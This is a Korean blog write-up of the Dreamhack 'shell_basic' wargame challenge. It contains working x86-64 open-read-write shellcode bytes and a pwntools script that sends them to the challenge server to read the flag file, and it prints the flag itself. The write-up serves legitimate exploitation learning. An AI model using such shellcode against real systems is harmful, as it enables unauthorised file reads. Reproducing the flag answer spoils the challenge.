
문제파일을 실행하면 위와 같은 결과를 얻을수 있다. shellcode를 통해 flag를 찾아야 한다.
문제 분석

shell_basic.c 파일을 보면 main 함수에서 banned_execve() 함수가 있는 것으로 보아 execve 셸코드를 통한 공격은 막아 놓은 것 같다. 따라서 orw 셸코드를 작성하여 공격을 해보자
익스플로잇

위와 같이 orw 셸코드를 작성해주었다. 문제에서 flag 파일의 위치와 이름은 "/home/shell_basic/flag_name_is_loooooong" 라고 했으니, /home/shell_basic/flag_name_is_loooooong을 리틀 앤디언으로 변환해주고 orw 셸코드를 셸코드 강의에서 배웠던 것과 똑같이 작성해주었다.
그리고 작성한 셸코드를 opcode 형태로 추출하기 위해 아래와 같은 명령어를 입력해주었다.
$nasm -f elf64 shellcode.asm
해당 명령어를 통해 shellcode.o 파일을 생성했고,
$objcopy --dump-section .text=shellcode.bin shellcode.o 명령어를 통해 shellcode.bin 파일을 생성했다.
따라서 xxd shellcode.bin을 통해 해당 파일을 확인해보면

위와 같은 결과를 얻을수 있다. 48b86f6f ... 결과에서 바이트 값을 추출하면
\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05
가 된다.
하지만 해당 값을 shell_basic 바이너리에 입력하면 flag가 나오지 않는다. 따라서
from pwn import *
p = remote("host3.dreamhack.games", 14517)
SHELLCODE="\x48\x31\xc0\x50\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x02\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\x48\x31\xd2\x48\x83\xc2\x30\x48\x31\xc0\x0f\x05\x48\x31\xff\x48\x83\xc7\x01\x48\x31\xc0\x48\x83\xc0\x01\x0f\x05\x48\x31\xff\x48\x31\xc0\x48\x83\xc0\x3c\x0f\x05"
PAYLOAD = "\x90"*8
PAYLOAD += SHELLCODE
p.sendline(PAYLOAD)
p.interactive()
이와 같이 shellcode를 nc 서버에 보내는 코드를 작성했다. 그리고 해당 코드를 실행해보니

이와 같이 flag를 얻을수 있는 것을 확인할수 있었다.
flag : DH{ca562d7cf1db6c55cb11c4ec350a3c0b}
p.s
아직까지 풀리지 않은 궁금증이 있는데, 위의 코드는 드림핵 풀이를 참고해서 작성한 풀이다.
위의 코드에서 PAYLOAD = "\x90"*8을 한 이유는 쓰레기값 때문인데, xxd shellcode.bin을 통해 확인했을때도 나오지 않는 값인 6a00라는 값이 있다. 해당 값을 찾으려면 shellcraft로 셸코드를 알아내는 익스플로잇 코드를 작성해야 하는데, 해당 코드를 어떻게 작성해야할지 모르겠다. 그리고 명령어로 6a00 라는 쓰레기값을 확인하는 방법이 있는지 궁금하다.
'CTF & Wargame(PWNABLE)' 카테고리의 다른 글
| [dreamhack] level 2 ssp_001 (0) | 2025.04.03 |
|---|---|
| [dreamhack] level 2 Return to Shellcode (0) | 2025.04.02 |
| [dreamhack] level 1 basic_exploitation_001 (0) | 2025.04.01 |
| [dreamhack] level 2 basic_exploitation_000 (0) | 2025.04.01 |
| [dreamhack] Return Address Overwrite (0) | 2025.04.01 |